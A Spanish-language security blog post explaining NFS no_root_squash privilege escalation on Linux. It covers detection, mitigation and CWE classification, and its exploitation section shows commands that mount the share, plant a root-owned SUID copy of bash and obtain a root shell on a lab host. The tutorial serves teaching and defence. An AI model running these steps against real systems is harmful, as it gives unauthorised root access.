cd ~/blog

~/vulns/nfs-no_root_squash-privesc.md

NFS no_root_squash Privesc

privesc 18-06-2026
privescNFSLinux

~2 min de lectura


1. Descripción técnica del ataque

NFS (Network File System) permite compartir directorios por red. Por seguridad, NFS aplica por defecto root_squash: cuando un cliente accede al recurso como root (UID 0), el servidor lo "degrada" al usuario nobody (UID 65534), de modo que un root remoto no tenga privilegios de root sobre los archivos exportados.

La opción no_root_squash en /etc/exports desactiva ese mecanismo: el root del cliente conserva privilegios de root en el servidor. Esto se convierte en una vía de escalada local cuando el atacante:

  1. Tiene acceso (aunque sea como usuario sin privilegios) a la máquina víctima, y
  2. Controla (como root) la máquina cliente desde la que monta el recurso NFS.

El atacante monta el recurso como root, coloca en él un binario (por ejemplo una copia de bash) y le asigna propietario root y bit SUID. Como el recurso es el mismo en ambos lados, al ejecutar ese binario desde la víctima se obtiene una shell de root.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root en el servidor NFS de forma fiable.
  • Capacidad de crear, modificar, sobrescribir archivos y cambiar permisos/propietarios en los directorios exportados.
  • Si la export apunta a directorios críticos, compromiso total del sistema.

3. Historia y evolución

  • no_root_squash es una opción legítima (usada en algunos despliegues administrativos), pero su uso indebido es un clásico error de configuración.
  • Es uno de los vectores de escalada por NFS más frecuentes en CTFs y auditorías.

4. Factores que la hacen posible

  1. Una export NFS configurada con no_root_squash (visible en /etc/exports).
  2. Que el directorio exportado tenga permisos de escritura o sea manipulable por el atacante.
  3. Que el atacante pueda montar el recurso como root desde su máquina y ejecutar binarios desde la víctima.

5. Detección

  • Enumerar exports NFS:
showmount -e <target>
  • Revisar la configuración (desde la víctima):
cat /etc/exports
# /var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)

La presencia de no_root_squash (especialmente con rw) es el indicador clave.

6. Mitigación

  1. Mantener root_squash (valor por defecto); evitar no_root_squash salvo necesidad justificada.
  2. Restringir las exports a clientes concretos (no usar *) y montarlas en solo lectura cuando sea posible.
  3. No exportar directorios críticos del sistema.
  4. Usar all_squash y mapeos de usuario explícitos cuando convenga.

7. Ejemplo de explotación real

Comprobamos la export y la montamos como root en nuestra máquina:

 showmount -e 10.42.113.14
Export list for 10.42.113.14:
/var/www/html *

 sudo mount -t nfs 10.42.113.14:/var/www/html ./nfs_www -nolock

Confirmamos no_root_squash en la víctima, copiamos bash al recurso y, desde nuestro montaje (como root), le ponemos propietario root + SUID:

low@lower3:/var/www/html$ cat /etc/exports
/var/www/html/       *(rw,sync,insecure,no_root_squash,no_subtree_check)

low@lower3:/var/www/html$ cp /usr/bin/bash .

 sudo chown root:root bash
 sudo chmod u+s bash

Ejecutamos el binario SUID desde la víctima:

low@lower3:/var/www/html$ ./bash -p
bash-5.1# whoami
root

8. Clasificación

  • Tipo: Privilege Escalation / Security Misconfiguration
  • CWE:
    • CWE-732 – Incorrect Permission Assignment for Critical Resource
    • CWE-16 – Configuration

9. Resumen

Una export NFS con no_root_squash permite que el root de un cliente conserve privilegios de root sobre el recurso. Montando el recurso como root, el atacante coloca un bash con propietario root y bit SUID y lo ejecuta desde la víctima para obtener una shell privilegiada. La defensa es mantener root_squash y restringir las exports. Relacionado con Writable Critical Files Privesc como escalada local.

// relacionados